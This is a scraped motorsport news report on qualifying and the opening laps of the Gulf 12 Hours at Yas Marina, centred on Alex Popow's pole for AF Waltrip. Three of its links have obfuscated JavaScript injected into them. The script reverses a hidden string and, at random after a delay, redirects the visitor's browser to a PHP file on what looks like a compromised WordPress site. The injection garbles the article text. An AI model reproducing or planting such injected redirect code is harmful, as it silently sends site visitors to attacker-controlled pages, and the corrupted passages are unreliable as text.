Motorsport loves its fairytale stories, and though it’s too early in the day for that to be the case for the second running of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-dec-2012-burgeoning-grid-numbers/” target=”_blank”>Gulf 12hrs, Alex Popow’s performance is certainly a feel-good effort.
Flight complications meant the Popow did not arrive at the Yas Marina Circuit until both free practice sessions for the second $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-2012-take-two-in-december/” target=”_blank”>Gulf 12hrs had already been run. Thrown straight into qualifying with little mileage under his belt, Popow would have been forgiven for taking the opening laps slow and steady, a mid-grid position preferable to a crumpled 458 in the tyre barriers.
Clearly neither Popow nor the AF Waltrip crew like sticking to the script though, the late-runner pulling out all the stops to grab pole position thanks to equally impressive laptimes from teammates Pierre Kaffer and Ryan Dalziel.
It was an equally impressive showing from $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-chequered-flag/” target=”_blank”>inaugural Gulf 12hrs runners-up Kessel Racing, who’s drivers Philipp Peter, Daniel Zampieri and Michael Broniszewski slotted a second Ferrari 458 onto the front row.
Inaugural winners AF Corse though weren’t about to take such actions lying down. Banished to the second row of the grid, the 458 Italia stalked the top two during the opening stages of the race after a good start. Biding their time and taking advantage of a loose moment from the AF Waltrip entry up ahead, AF Corse soon hit the front.
